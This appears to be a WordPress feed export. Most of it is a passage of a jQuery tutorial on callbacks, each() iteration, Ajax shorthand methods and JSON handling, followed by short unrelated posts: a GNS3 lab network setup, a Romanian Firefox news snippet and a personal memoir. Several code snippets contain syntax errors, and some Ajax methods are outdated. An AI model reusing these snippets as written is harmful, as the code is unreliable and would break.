<p>The syntax for this method is: ready( handler ), where handler is a function called when the event fires. The standard way to set up your custom &#8216;.js&#8217; file is to place the jQuery ready method at the top of the file and place the code that should be implemented immediately within this method. For example from our diagram I chose the following:</p>
<address><span style="color:#993366;">                              $(document).ready(function() {</span></address>
<address><span style="color:#993366;">                                   $(&#8216;#inOne&#8217;).focus();</span></address>
<address> </address>
<address><span style="color:#993366;">                                   $(&#8216;#selOne&#8217;).change(function(){</span></address>
<address><span style="color:#993366;">                                        &#8230; code &#8230;</span></address>
<address><span style="color:#993366;">                                   });</span></address>
<address> </address>
<address><span style="color:#993366;">                                   $(&#8216;#butOne&#8217;).click(function(eve){</span></address>
<address><span style="color:#993366;">                                         eve.preventDefault();</span></address>
<address><span style="color:#993366;">                                         &#8230; code &#8230;</span></address>
<address><span style="color:#993366;">                                   });</span></address>
<address> </address>
<address><span style="color:#993366;">                                   $(&#8216;#butTwo&#8217;).bind(&#8216;click&#8217;, function(eve) {</span></address>
<address><span style="color:#993366;">                                        &#8230; code &#8230;</span></address>
<address><span style="color:#993366;">                                   });</span></address>
<address><span style="color:#993366;">                              });</span></address>
<address> </address>
<p>Here I have placed one action and bound three events within the method. The action, setting focus, I want to occur as soon as possible (immediately on page load) and the events I bind so that they are ready to respond to a user action. The first is a change event for a &#8216;select&#8217; element. As the user changes the selection in a dropdown list jQuery will perform some action as defined in the code (represented by &#8230; code &#8230;). Then I bind a click event to the first button element using jQuery&#8217;s shortcut method click()– in this case using the event object to make certain that the default event does not occur. The second button is bound to the click event using the bind() method with exactly the same result. When the User clicks the button the event is triggered. Here however the default event is not cancelled.</p>
<p>Note generally I use the bind() method when I am defining a custom event. Shortcuts work great with all of the standard events.</p>
<p>I normally place my event handlers in the jQuery ready() method with the majority of the logic appearing as functions outside of it but still in the same &#8216;js&#8217; file. Some special functions may be placed in a separate file.</p>
<p>Note though I have attached event handlers to standard &#8216;form&#8217; elements, you are by no means limited in jQuery to these elements. You can place a handler on the div elements, p elements, etc.</p>
<p><strong>12) You should know what an anonymous function is.</strong></p>
<p>You will see a special kind of function throughout jQuery that is called an anonymous function. The anonymous function confuses many who have not used it. It does look strange. It is common to use anonymous functions as event handlers in jQuery. Such a function would look something like this:</p>
<address><span style="color:#993366;">                    $(&#8216;#someEle&#8217;).click(function() {</span></address>
<address><span style="color:#993366;">                         &#8230; someAction &#8230;</span></address>
<address><span style="color:#993366;">                    });</span></address>
<address> </address>
<p>Basically when the click event occurs on the DOM element identified by the attribute &#8216;id&#8217; equals &#8216;someEle&#8217; the anonymous function will be executed and the intended action will be taken. What is important to note about an anonymous function is that it has no name and because it has no name it cannot be called from anywhere else. It is in effect a private function of the $(&#8216;#someEle&#8217;).click() method.</p>
<p>Although you could substitute named functions for anonymous functions there are some rules that I&#8217;m afraid would just confuse you. Leave the anonymous functions alone and use the API syntax just as it is shown. At least for now.</p>
<p><strong>13) You should know what a callback is.</strong></p>
<p>This is an important topic in jQuery that does not get enough explanation. First as Rebecca Murphey said in her “jQuery Fundamentals” publication &#8211; <span style="color:#000000;">“Callback functions provide a way to register your interest in an event that will </span><span style="color:#000000;">happen in the future.”</span> You can create your own callbacks but that is too advanced for this session. What I want you to understand is how callbacks are automatically provided for you in the standard jQuery syntax and how they work.</p>
<p>I have found that most functions shown in the jQuery API are callbacks! Sometimes they are called callbacks, other times handlers or simply functions. In the standard syntax they always appear as anonymous functions. <span style="color:#000000;">In the jQuery API, <em><strong>Events</strong></em>, <em><strong>Effects</strong></em>, and <em><strong>Ajax</strong> </em>methods that specify a function are all callbacks!</span></p>
<p>jQuery in general is a synchronous process that is each line of code is dependent on the previous line of code and are handled in sequence (one after another). Callbacks allow us to create an asynchronous aspect to this process. That is, we can add code that does not get executed in the order that it appears in the program but rather when a specific event occurs. I like the term &#8216;listener&#8217; as used in Java. A listener is setup (bound) to an element and receives notice when a specific event occurs.</p>
<p>The easiest way to use callbacks in jQuery (and the way I recommend) is exactly as they are shown in the API. The following is an example of a callback function from the API:</p>
<p style="text-align:center;"><span style="color:#993366;">$(document).ready(function(){ &#8230; code &#8230; });</span></p>
<p>you should already be familiar with this jQuery method. The anonymous function used as an argument for the &#8216;ready&#8217; method is listening for the event that signals that the DOM has loaded. Once that event occurs the code within the curly brackets will be executed. The same for the other common uses of callback (handler, function, whatever) in the API.</p>
<dl>
<dd>
<table width="100%" border="1" cellspacing="0" cellpadding="5">
<col width="81" />
<col width="83" />
<col width="92" />
<tbody>
<tr valign="top">
<td bgcolor="#ffffcc" width="31%">
<p align="center">Events</p>
</td>
<td bgcolor="#ffffcc" width="33%">
<p align="center">Effects</p>
</td>
<td bgcolor="#ffffcc" width="36%">
<p align="center">Ajax</p>
</td>
</tr>
<tr valign="top">
<td width="31%">
<address><span style="color:#993366;">$(&#8216;#ID&#8217;).click(function() {</span></address>
<address><span style="color:#993366;">&#8230; code &#8230;</span></address>
<address><span style="color:#993366;">});</span></address>
<address> </address>
<address><span style="color:#800000;"><span style="font-size:small;">   </span></span>callback fires when</address>
<address>   button is clicked.</address>
</td>
<td width="33%">
<address><span style="color:#993366;">$(&#8216;#ID&#8217;).fadeIn(function() {</span></address>
<address><span style="color:#993366;">&#8230; code &#8230;</span></address>
<address><span style="color:#993366;">});</span></address>
<address> </address>
<address>      callback fires when</address>
<address>     fadeIn completes.</address>
</td>
<td width="36%">
<address><span style="color:#993366;">$(&#8216;#ID&#8217;).load(&#8216;url&#8217;, function() {</span></address>
<address><span style="color:#993366;">&#8230; code &#8230;</span></address>
<address><span style="color:#993366;">});</span></address>
<address> </address>
<address><span style="color:#800000;"><span style="font-size:small;">     </span></span>callback fires when</address>
<address>     load completes.</address>
</td>
</tr>
</tbody>
</table>
</dd>
</dl>
<p><span style="color:#ffffff;">A</span></p>
<p>Check with the API to determine which arguments are available for each specific callback! You don&#8217;t have to do anything to make a callback happen that is all taken care of for you by the jQuery library.</p>
<p><strong>14) Keep in mind that many of the jQuery methods are overloaded.</strong></p>
<p>This means that the method used to set a value generally has the same name as the method used to get a value.</p>
<address>Ex.</address>
<address><span style="color:#993366;">$(#aDiv).height()</span> &#8230;.. getting height &#8230;.. returns an integer &#8230;.. cannot be chained</address>
<address><span style="color:#993366;">$(#aDiv).height(50)</span> &#8230;.. setting height &#8230;.. returns jQuery Object &#8230;.. can be chained</address>
<address> </address>
<p>You will find this mostly in the area of attributes, offsets and dimensions.</p>
<p><strong>15) You should know how to access the DOM elements in the jQuery Object.</strong></p>
<p>Using our diagram again we select the div elements using our by now familiar jQuery Function – <span style="color:#000000;">var $divs = $(&#8216;div);.</span> The jQuery Object returned and assigned to the variable $divs, appears like this in Firebug:</p>
<p><a href="http://sitepop.files.wordpress.com/2012/08/divs.jpg"><img class="aligncenter size-full wp-image-990" title="Divs" alt="" src="http://sitepop.files.wordpress.com/2012/08/divs.jpg?w=385&#038;h=19" width="385" height="19" /></a></p>
<p>The DOM elements of the jQuery Object can be accessed by their index (0,1,2) property. There are a couple of ways you might use this index property:</p>
<p>If you wish to return a jQuery Object &#8211; <span style="color:#993366;">$divs.eq(1);</span> returns a new jQuery Object with just the second div element, i.e., <span style="color:#ff6600;">&#8216;&#60;&#62;jQuery (div#divTwo&#60;&#62;)</span>&#8216;.</p>
<p>If you wish to return a DOM element – <span style="color:#993366;">$divs.get(1);</span> returns just the second DOM element in the jQuery Object, i.e., <span style="color:#ff9900;">&#8216;div#divTwo&#60;&#62;&#8217;</span>.</p>
<p>You can also iterate over these elements using the jQuery Object each() method. The syntax for the each() method is &#8211; <span style="color:#000000;">each( function(index, Element) )</span> &#8211; source: jQuery API. Note that the &#8216;Element&#8217; argument will also be the key word &#8216;this&#8217; in this context.</p>
<p>For example selecting the three div elements in the diagram above with the jQuery Function <span style="color:#000000;">var $jqObj = $(&#8216;div&#8217;);. </span>We could then iterate over the collection as follows:</p>
<address><span style="color:#993366;">          $(&#8216;#butOne&#8217;).click(function() {</span></address>
<address><span style="color:#993366;">               var $jqObj = $(&#8216;div&#8217;);</span></address>
<address><span style="color:#993366;">               <span style="color:#808080;">// Iterate over the div elements</span></span></address>
<address><span style="color:#993366;">               $jqObj.<strong>each</strong>(function(index, DOMele){</span></address>
<address><span style="color:#993366;">                    var $jqNewObj = $(DOMele).find(&#8216;option&#8217;);</span></address>
<address><span style="color:#993366;">                    <span style="color:#808080;">// Iterate over the option elements</span></span></address>
<address><span style="color:#993366;">                    $jqNewObj.<strong>each</strong>(function(index, DOMele){</span></address>
<address><span style="color:#993366;">                         var $jqEle = $(DOMele);</span></address>
<address><span style="color:#993366;">                         <span style="color:#808080;">// Match value attribute</span></span></address>
<address><span style="color:#993366;">                         if($jqEle.val() == &#8216;optThree&#8217;){</span></address>
<address><span style="color:#993366;">                              <span style="color:#808080;">// Add attribute selected</span></span></address>
<address><span style="color:#993366;">                              $jqEle.attr(&#8216;selected&#8217;, &#8216;selected&#8217;);</span></address>
<address><span style="color:#993366;">                              return false;</span></address>
<address><span style="color:#993366;">                         }</span></address>
<address><span style="color:#993366;">                    });</span></address>
<address><span style="color:#993366;">               });</span></address>
<address><span style="color:#993366;">          });</span></address>
<address> </address>
<p>In this example we are iterating over our div elements looking for option elements. If option elements are found we will iterate over the option elements looking for an option with the value equal to &#8216;optThree&#8217;. If the option value attribute is matched we will add a &#8216;selected&#8217; attribute to the element the exit the loop.</p>
<dl>
<dd>
<table width="100%" border="1" cellspacing="0" cellpadding="5">
<col width="89" />
<col width="100" />
<col width="67" />
<tbody>
<tr valign="top">
<td bgcolor="#e6e6e6" width="35%">
<p align="center"><span style="color:#000000;"><strong>$jqObj</strong></span></p>
</td>
<td bgcolor="#e6e6e6" width="39%">
<p align="center"><span style="color:#000000;"><strong>$jqNewObj</strong></span></p>
</td>
<td bgcolor="#e6e6e6" width="26%">
<p align="center"><span style="color:#000000;"><strong>$jqEle</strong></span></p>
</td>
</tr>
<tr valign="top">
<td width="35%">
<address>&#60;&#62; jQuery(div#divOne&#60;&#62;, div#divTwo&#60;&#62;,</address>
<address>div#divThree&#60;&#62;)</address>
</td>
<td width="39%">
<address> </address>
</td>
<td width="26%">
<address> </address>
</td>
</tr>
<tr valign="top">
<td width="35%">
<address>DOMele div#divOne&#60;&#62;</address>
</td>
<td width="39%">
<address> </address>
</td>
<td width="26%">
<address> </address>
</td>
</tr>
<tr valign="top">
<td width="35%">
<address>DOMele div#divTwo&#60;&#62;</address>
<address> </address>
</td>
<td width="39%">
<address>&#60;&#62; jQuery (option#optOne&#60;&#62;, option#optTwo&#60;&#62;,</address>
<address>option#optThree&#60;&#62;)</address>
</td>
<td width="26%">
<address> </address>
</td>
</tr>
<tr valign="top">
<td width="35%">
<address> </address>
</td>
<td width="39%">
<address>DOMele option#optOne&#60;&#62;</address>
</td>
<td width="26%">
<address>&#60;&#62; jQuery (option#optOne&#60;&#62;)</address>
</td>
</tr>
<tr valign="top">
<td width="35%">
<address> </address>
</td>
<td width="39%">
<address>DOMele option#optTwo&#60;&#62;</address>
</td>
<td width="26%">
<address>&#60;&#62; jQuery (option#optTwo&#60;&#62;)</address>
</td>
</tr>
<tr valign="top">
<td width="35%">
<address> </address>
</td>
<td width="39%">
<address>DOMele option#optThree&#60;&#62;</address>
</td>
<td width="26%">
<address>&#60;&#62; jQuery (option#optThree&#60;&#62;)</address>
</td>
</tr>
</tbody>
</table>
</dd>
</dl>
<p>A couple of notable entries.</p>
<p>A) We wrap the DOMele in a jQuery Function $(). As explained earlier, when we do this a jQuery Object is returned i.e., a jQuery Object containing a single DOM element. As always, we do this so that we can use all of those great jQuery Object methods, like find(), val(), and attr().</p>
<p>B) In this context we did not need the DOMele argument in that the key word &#8216;this&#8217; has the same meaning. That is, it represents the DOM element for each iteration of the jQuery Object (collection).</p>
<p><strong>16) You should be able to use the basic Ajax methods.</strong></p>
<p>Many of the truly exciting things that can be done with jQuery involve Ajax. It is with Ajax methods that your client-side code will communicate with the server-side. As I am sure you know most of the resources reside on the server-side in the form of PHP, MySQL, and more. Ajax is all about getting small amounts of data at the right time to best serve the Users needs. Some refer to it as information layering, that is, when the User takes some action, Ajax is used to go out to the server to get additional detail that supports that action.</p>
<p>I would recommend that you learn and master the Ajax shorthand methods available in the jQuery API. I generally use the POST method when retrieving and inserting data from a database. <span style="color:#000000;">One important thing to recognize about most of these methods is that they do NOT return a jQuery Object, instead they return a jqXHR Object.</span> More on this later.</p>
<p>The POST syntax is &#8216;<span style="color:#000000;">$.post( url, [data], [success(data, textStatus, jqXHR)], [dataType] )</span>&#8216;. Note that the event handler is only called in the case of a success. If you want to capture an error you have to create a separate handler. Or you could replace both with complete event handler. No problem we will do that in a moment. The last optional argument is dataType. When using this shorthand I almost always set the dataType to &#8216;json&#8217;. I believe its the best for transporting table like data between server and client.</p>
<p>When I want to retrieve and insert HTML however, I prefer to use the LOAD method. Note although this is a shorthand method it is the only one that returns a jQuery Object.</p>
<p>The LOAD syntax is &#8216;<span style="color:#000000;">$(&#8216;selector&#8217;).load( url, [data], [complete(responseText, textStatus, XMLHttpRequest)] )</span>&#8216;. Note that there is a selector at the beginning of the syntax. This allows you to define where the data is to be placed. Note also that the load() method will remove all existing content from the target container before inserting the new content. The URL argument also differs from all the other shorthand methods. <span style="color:#000000;">With this URL you may optionally include another &#8216;selector&#8217;.</span> This additional selector allows us to specify a portion of the remote document to be inserted. For example we could define a URL as follows: <span style="color:#000000;">var url = &#8216;./inc/targetDoc.html.php #ajaxContent&#8217;;</span> Here the Ajax would call the existing HTML document (targetDoc.html.php) and would only insert the content found in the container element identified by the id attribute &#8216;ajaxContent&#8217; after stripping away the rest of the HTML.</p>
<p>The event handler supported directly by this method is the &#8216;Complete&#8217; handler. That is, the handler is fired when the Ajax call completes, regardless of whether it was a success or failure. You will also notice that this syntax does not include a provision for [dataType], that is because it is automatically set to HTML.</p>
<p>Data can be compiled and handed to any of the shorthand methods as an object or a string. For instance for handling one or two fields in a document like say a select element, I would generally create a plain object like this:</p>
<p><span style="color:#993366;">var obj = {id : $(&#8216;#selOne&#8217;).val()};</span> and pass the variable &#8216;obj&#8217; as <span style="color:#000000;">$.post(url, <span style="color:#993366;">obj</span>, function() { &#8230; });.</span></p>
<p>If I want to send all the form data I use either of the two specially designed form methods for that purpose. These methods are serialize() and serializeArray(). Both methods will collect standard form data (input, textarea, and select elements) from within the specified form element as: <span style="color:#993366;">var fData = $(&#8216;#formOne&#8217;).serialize();. </span>Two conditions are required for an element to be selected; one it must be enabled and two it must have a name attribute. You would then pass the variable &#8216;fData&#8217; as <span style="color:#000000;">$.post(url, <span style="color:#993366;">fData</span>, function() { &#8230; });.</span> In Firebug, our four form elements (diagram above) would look like this:</p>
<p><a href="http://sitepop.files.wordpress.com/2012/08/fbpostparameters1.jpg"><img class="aligncenter size-full wp-image-997" title="FBPostParameters1" alt="" src="http://sitepop.files.wordpress.com/2012/08/fbpostparameters1.jpg?w=500&#038;h=173" width="500" height="173" /></a></p>
<p>Note you can have multiple forms in a document (though not nested), which makes the serialize() and serializeArray() great ways to conveniently collect purpose specific elements for communication with the server.</p>
<p>Handlers for load that returns a jQuery Object can be chained as normal, using methods .ajaxSuccess() or .ajaxError(). That would look this:</p>
<address><span style="color:#993366;">               $(&#8216;selector&#8217;).load(url, data, function(){</span></address>
<address><span style="color:#993366;">                    &#8230; code &#8230;</span></address>
<address><span style="color:#993366;">               })</span></address>
<address><span style="color:#993366;">               .ajaxError(function(){</span></address>
<address><span style="color:#993366;">                    &#8230; code &#8230;</span></address>
<address><span style="color:#993366;">               });</span></address>
<address> </address>
<p>and the handlers for the other shorthand methods that return a jqXHR Object can be nested using the .success(), .error() and .complete() methods. Note I used the term nested rather than chain just to make it clear that it is not using, in anyway, a jQuery Object method. If you look at the methods supported by jqXHR you will find – success(), error() and complete(). The nesting would look like this:</p>
<address><span style="color:#993366;">               $.post(url, data, function(){</span></address>
<address><span style="color:#993366;">                    &#8230; code &#8230;</span></address>
<address><span style="color:#993366;">               })</span></address>
<address><span style="color:#993366;">               .error(function(){</span></address>
<address><span style="color:#993366;">                    &#8230; code &#8230;</span></address>
<address><span style="color:#993366;">               });</span></address>
<address> </address>
<p>In the post method above we could remove the default success handler by simply removing the argument then replace it with the complete method as follows:</p>
<address><span style="color:#993366;">               $.post(url, data){</span></address>
<address><span style="color:#993366;">                    &#8230; code &#8230;</span></address>
<address><span style="color:#993366;">               })</span></address>
<address><span style="color:#993366;">               .complete(function(){</span></address>
<address><span style="color:#993366;">                    &#8230; code &#8230;</span></address>
<address><span style="color:#993366;">               });</span></address>
<address> </address>
<p>Before we close out the Ajax essential let me say that if you are just starting out, you will likely generate a few errors with NO apparent error being thrown. You will scratch your head and waste time looking at everything. Stop. First thing you should test is the data. That&#8217;s right I cannot begin to tell you how often the data is the silent killer of a good bit of Ajax logic. So start with Firebug and make sure that the data is getting to the PHP file as expected. Sure its obvious now, I just told you.</p>
<p><strong>17) Its probably a good idea to know JSON.</strong></p>
<p>I have already said that JSON is my choice when dealing with the jQuery Object&#8217;s Ajax post() method. I also said I like to use the post() method when interfacing with a database (MySQL). These things go hand in hand. JSON is a great way to encode table data for export across a network.</p>
<p>I always use PHP objects when working with MySQL tables for their convenience. Far better then trying to manage a dozen separate variables. I also use a high level object to manage the database queries, object updates, and special encoding like JSON. This high level object can be the same as the table object in simple scenarios. That was the case in preparing for this session.</p>
<p>I already said in the Ajax essential above that the data I send to the server is either an object or a string. The jQuery Object&#8217;s serializeArray() method does generate string in a JSON format. But this really isn&#8217;t necessary because the Ajax shorthand methods will automatically convert either an object or a string to a standard query string like:  &#8216;a=1&#38;b=2&#38;c=3&#38;d=4&#38;e=5&#8242;. So we really don&#8217;t have to worry about creating JSON on the client-side.</p>
<p>On the server-side however, we have to worry about the encoding. Fortunately PHP provides us some very nice ways to accomplish this. My favorite is to use a method in the object to do the encoding. This is actually required because most on my custom objects have private or protected properties. By placing the encoding in the class definition I can access all types of properties except static. Here is an example of a statement that will encode all the properties in an object:</p>
<p style="text-align:center;"><span style="color:#008080;">$jsonObj = json_encode(get_object_vars($this));</span></p>
<p>Note that this single statement will cover all the properties on the object (except static). If you wish to exclude certain properties you will have to do a little more work. First you will have to unnest the function and create another function to loop through the properties, filtering out those not desired. <span style="color:#000000;">Note the $this argument being passed to the function</span>. Just like in jQuery, PHP reserves &#8216;this&#8217; as a keyword. In this context the variable $this represents the Object itself. I suppose I should mention it, we are looking at PHP code here. The variables preceded with a dollar sign ($) does NOT indicate that the variable holds a jQuery Object.</p>
<p>So inside one of the methods of the object we have the code above. The first PHP function executed is &#8216;get_object_vars($this)&#8217;. Basically this function gets all of the properties of the object (public, private, and protected) and returns an associative array. If a property has not been assigned a value, it will be returned with a NULL value.</p>
<p>The second function executed is &#8216;json_encode()&#8217;. As you can see we have nested the &#8216;get_object_vars()&#8217; function inside it so we have all of the properties of the object to work with. That&#8217;s it. We have our $jsonObj that can be returned to the jQuery script that originated the Ajax call by doing something like: <span style="color:#008080;">&#8216;echo $jsonObj&#8217;</span> in your PHP script.</p>
<p>In the post() method, the reply comes back via the handler (&#8216;success&#8217;) in two of the available arguments. <span style="color:#000000;">This is important because the JSON object that we sent is not represented the same way in both arguments.</span> The post() method handler syntax as you will recall is: success(<span style="color:#000000;">data</span>, textStatus, <span style="color:#000000;">jqXHR</span>)</p>
<p>The &#8216;data&#8217; argument is the reply from the server. This should be a JSON string if that is what we requested in our original request using the &#8216;dataType&#8217; argument. Unfortunately it is not and if you attempt to treat it that way you will get an error. So what is returned?</p>
<p>The variable $jsonObj looks like this after encoding</p>
<p style="padding-left:60px;">&#8220;{&#8220;id&#8221; : &#8220;1492&#8243;,&#8221;name&#8221; : &#8220;XYZ Foundation&#8221;,&#8221;contact&#8221; : &#8220;Ken McGurik&#8221;,&#8221;title&#8221; : &#8220;Assistant Director&#8221;,&#8221;phone&#8221; : &#8220;5378233475&#8243;,&#8221;email&#8221; : &#8220;kmcgurik12@xyz.com&#8221;,&#8221;isGood&#8221; : true}&#8221;</p>
<p>The <span style="color:#000000;">&#8216;data&#8217;</span> argument returns:</p>
<p style="padding-left:60px;"><span style="color:#000000;">Object</span>{&#8220;id&#8221; : &#8220;1492&#8243;,&#8221;name&#8221; : &#8220;XYZ Foundation&#8221;,&#8221;contact&#8221; : &#8220;Ken McGurik&#8221;,&#8221;title&#8221; : &#8220;Assistant Director&#8221;,&#8221;phone&#8221; : &#8220;5378233475&#8243;,&#8221;email&#8221; : &#8220;kmcgurik12@xyz.com&#8221;,&#8221;isGood&#8221; : true}</p>
<p>Whereas the &#8216;<span style="color:#000000;">jqXHR&#8217;</span> argument&#8217;s responseText property returns:</p>
<p style="padding-left:60px;"><span style="color:#000000;">String</span>{&#8220;id&#8221; : &#8220;1492&#8243;,&#8221;name&#8221; : &#8220;XYZ Foundation&#8221;,&#8221;contact&#8221; : &#8220;Ken McGurik&#8221;,&#8221;title&#8221; : &#8220;Assistant Director&#8221;,&#8221;phone&#8221; : &#8220;5378233475&#8243;,&#8221;email&#8221; : &#8220;kmcgurik12@xyz.com&#8221;,&#8221;isGood&#8221; : true}</p>
<p>Because we may wish to use either argument I generally use a condition statement to make sure I handle it properly. The condition statement would look something like this:</p>
<address><span style="color:#993366;">               if($.isPlainObject(reply)){</span></address>
<address><span style="color:#993366;">                    pObj = reply;</span></address>
<address><span style="color:#993366;">               } else {</span></address>
<address><span style="color:#993366;">                    pObj = $.parseJSON(reply);</span></address>
<address><span style="color:#993366;">               }</span></address>
<address> </address>
<p>The point is you do not want to apply the jQuery Object&#8217;s parseJSON() method if the argument is NOT a JSON string. This will throw an error, something like, &#8216;found an illegal character&#8217;. I&#8217;m not sure why these two properties are different but it can be confusing. Basically you will want to work with an object. If one is provided fine. If you are given a JSON string then you should convert it to an object using the parseJSON() method.</p>
<p><strong>18) You should have a ready set of resources.</strong></p>
<p>Download the API, get a good quick reference card (basically a good synopsis of the API) and bookmark jQuery Fundamentals by Rebecca Murphey and Dottoro Web Reference. Enough said.</p>
<p><strong>19) You should be familiar with browser tools available for JavaScript.</strong></p>
<p>I strongly recommend you get familiar with your favorite development browser&#8217;s JavaScript tool. Lately I have been using Firefox with Firebug and have been very happy. There are several excellent examples on the Internet or you could review my sessions on <a title="jQuery Error Handling" href="http://sitepop.wordpress.com/2012/08/04/jquery-error-handling/" target="_blank">jQuery Error Handling</a> and <a title="jQuery and browser developer tools" href="http://sitepop.wordpress.com/2012/09/17/jquery-and-browser-developer-tools/" target="_blank">jQuery and Browser Developer Tools</a>.</p>
<p>Just a few tips for the <strong>Occasional</strong> user, on writing  jQuery:</p>
<ol>
<li>a little planning goes a long way (the larger the project the more important planning is),</li>
<li>get the logic to work, then go back and refactor your jQuery,</li>
<li>use shorthand methods when available,</li>
<li>if you are going to use a jQuery Object repeatedly, save it as a variable,</li>
<li>add one new thing at a time,</li>
<li>for important functionality implement a server-side fallback strategy,</li>
<li>get very familiar with the development tools available (Firebug).</li>
</ol>
<p>Enjoy.</p>
<p>Don</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Solving the Riddle A puzzle has many ...]]></title>
<link>http://myexploit.wordpress.com/2012/07/30/solving-the-riddle-a-puzzle-has-many/</link>
<pubDate>Mon, 30 Jul 2012 16:32:44 +0000</pubDate>
<dc:creator>myexploit</dc:creator>
<guid>http://myexploit.wordpress.com/2012/07/30/solving-the-riddle-a-puzzle-has-many/</guid>
<description><![CDATA[http://www.myexploit.wordpress.com/control-exploitdb/]]></description>
<content:encoded><![CDATA[<p><a href="http://www.myexploit.wordpress.com/control-exploitdb/" target="_blank">http://www.myexploit.wordpress.com/control-exploitdb/</a></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[[Warning] You are running Tor as root. You don't need to, and you probably shouldn't.]]></title>
<link>http://myexploit.wordpress.com/2012/07/24/warning-you-are-running-tor-as-root-you-dont-need-to-and-you-probably-shouldnt/</link>
<pubDate>Tue, 24 Jul 2012 11:51:02 +0000</pubDate>
<dc:creator>myexploit</dc:creator>
<guid>http://myexploit.wordpress.com/2012/07/24/warning-you-are-running-tor-as-root-you-dont-need-to-and-you-probably-shouldnt/</guid>
<description><![CDATA[Graphical Network Simulator &#8211; www.gns3.net With windows 7 as physical machine and Virtual mach]]></description>
<content:encoded><![CDATA[<p>Graphical Network Simulator &#8211; <a href="http://www.gns3.net" target="_blank">www.gns3.net</a></p>
<p>With windows 7 as physical machine and Virtual machines including Linux</p>
<p><code><code><code>Design</code></code></code></p>
<p>GNS3 Virtual Cisco Router &#8211; connects to physical machine &#8211; VirtualBox Host connects to physical machine as well.<br />
The physical machine bridges the route from Virtual router to VirtualBox Host</p>
<p>Network settings</p>
<p>1. Windows VirtualBox Host &#8211; Adapter 1 = Host-only Adapter &#8211; VirtualBox Host-Only Ethernet Adapter (IP address dhcp picks up 192.168.56.101)</p>
<p>2. Physical machine uses VirtualBox Host-Only Network addapter (Ip address 192.168.56.1)</p>
<p>3. GNS3 cloud (NIO Ethernet) Network adapter &#8216;Sun&#8217; on local host: VirtualBox Host-Only Network. Connect your router to the cloud (configured router 192.168.56.102)</p>
<p>Testing ping from router to Virtual machine</p>
<p>R1#ping 192.168.56.101 repeat 200</p>
<p>Type escape sequence to abort.<br />
Sending 200, 100-byte ICMP Echos to 192.168.56.101, timeout is 2 seconds:<br />
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!</p>
<p>Ping from Virtual machine to Router</p>
<p>C:\Documents and Settings\11&#62;ping 192.168.56.102</p>
<p>Pinging 192.168.56.102 with 32 bytes of data:</p>
<p>Reply from 192.168.56.102: bytes=32 time=25ms TTL=255<br />
Reply from 192.168.56.102: bytes=32 time=10ms TTL=255<br />
Reply from 192.168.56.102: bytes=32 time=9ms TTL=255<br />
Reply from 192.168.56.102: bytes=32 time=14ms TTL=255</p>
<p>Ping statistics for 192.168.56.102:<br />
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),<br />
Approximate round trip times in milli-seconds:<br />
Minimum = 9ms, Maximum = 25ms, Average = 14ms</p>
<p>4. To add Backtrack machine from VirtualBox &#8211; Adapter 1 = Host-only Adapter &#8211; VirtualBox Host-Only Ethernet Adapter.<br />
Once booted ifconfig eth0 192.168.56.103 netmask 255.255.255.0</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Mozilla a lansat Firefox 15 beta]]></title>
<link>http://programe4incepatori.wordpress.com/2012/07/24/mozilla-a-lansat-firefox-15-beta/</link>
<pubDate>Tue, 24 Jul 2012 04:46:47 +0000</pubDate>
<dc:creator>Admin (programe4incepatori)</dc:creator>
<guid>http://programe4incepatori.wordpress.com/2012/07/24/mozilla-a-lansat-firefox-15-beta/</guid>
<description><![CDATA[Mozilla a lansat o versiunea beta a urmatoarei versiuni a browser-ului Firefox, cu o mai bună gestio]]></description>
<content:encoded><![CDATA[Mozilla a lansat o versiunea beta a urmatoarei versiuni a browser-ului Firefox, cu o mai bună gestio]]></content:encoded>
</item>
<item>
<title><![CDATA[Firebug!]]></title>
<link>http://gaydinosaurtales.com/2012/07/19/firebug/</link>
<pubDate>Thu, 19 Jul 2012 18:52:39 +0000</pubDate>
<dc:creator>gaydinosaurtales</dc:creator>
<guid>http://gaydinosaurtales.com/2012/07/19/firebug/</guid>
<description><![CDATA[Although there is no clinical proof to my theory, I believe the first time I successfully used the p]]></description>
<content:encoded><![CDATA[<p><a href="http://gaydinosaurtales.files.wordpress.com/2012/07/firebug.jpg"><img class="aligncenter size-large wp-image-841" title="FIREBUG" src="http://gaydinosaurtales.files.wordpress.com/2012/07/firebug.jpg?w=682&#038;h=1024" alt="" width="682" height="1024" /></a></p>
<p>Although there is no clinical proof to my theory, I believe the first time I successfully used the potty and NOT my diaper and was heralded as a <em>good little boy</em>, I did everything possible to maintain that title for my very own. My brother was seven years older than me, the first-born who&#8217;d had years to grow quite comfortable with his designation &#8211; the only child. It had taken my parents seven years to conceive him, the first-born and only grandson on both sides of the family, so Messiah had also been added to his given name. What could I possibly do to top that? I had been trumped seven years before I was even born. To always be the best <em>good little boy</em> possible was my only ace in the hole.</p>
<p>After my disruptive appearance into his once-perfect little world, the coddled heir apparent began to resent the mere existence of another child. They none of them expected there to even be a &#8216;me&#8217;. I had been a happy surprise addition &#8211; well for Mom and Dad at least. By the time I&#8217;d reached age three and brother could better determine the threat I was becoming, his hostilities grew and my parents&#8217; one-time golden boy slowly began to show signs of tarnishing. Once precocious me was able to gauge the situation, I sensed there might be a vacancy atop the pedestal, or at least room for us to take turns up there. But I was too cute, far too bright and simply so good at being good that a brooding silence overtook him and by the time I started school the tables had begun to turn.</p>
<p>Now with two sons it was simple for our parents to make comparisons and they constantly did. Son number one didn&#8217;t learn his nursery rhymes until he was nearly five, while son number two was performing them at age three and collecting pennies for his charming performances from anyone who&#8217;d listen. Son number two was the top student in his first grade class, so why in the world would son number one bring home two progress reports in the same grading period? With great gusto I chalked up each <em>good little boy</em> point, while silently noting my brother&#8217;s foibles. Honestly, I couldn&#8217;t tally his shortcomings, because it seemed evident it must not have been easy to play big brother to my wunderkind. Yet I would beg my mother to detail, time after time, her comparison chart, then gloat and grin when hearing how much better or faster or more clever I had performed when judged against my older brother&#8217;s record.</p>
